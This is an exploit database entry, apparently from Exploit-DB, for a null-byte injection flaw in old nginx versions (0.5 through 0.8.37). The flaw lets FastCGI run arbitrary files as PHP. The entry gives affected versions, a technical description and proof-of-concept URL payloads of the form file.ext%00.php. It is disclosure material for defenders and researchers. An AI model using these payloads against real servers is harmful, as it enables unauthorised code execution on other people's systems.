[] NeoSense

Nginx 0.6.x - Arbitrary Code Execution NullByte Injection

Author: Neal Poole
type: webapps
platform: multiple
port: 
date_added: 2013-04-19 
date_updated: 2013-04-19 
verified: 1 
codes: OSVDB-92634 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt25000/screen-shot-2013-04-18-at-24716-pm.png 
application_url: http://www.exploit-db.comnginx-0.6.36.tar.gz

# Exploit Title: nginx Arbitrary Code Execution NullByte Injection
# Date: 24/08/2011
# Exploit Author: Neal Poole
# Vendor Homepage: http://nginx.org/
# Software Link: https://launchpad.net/nginx/0.6/0.6.36/+download/nginx-0.6.36.tar.gz
# Version: 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
# Tested on: Ubuntu Server 10.04.1
# nginx version: 0.6.36
# Advisory: https://nealpoole.com/blog/2011/08/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/


# Description
In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

# Proof of Concept:
http://<server>/<path>/file.ext%00.php
or
http://<server>/<path>/file.ext/x00.php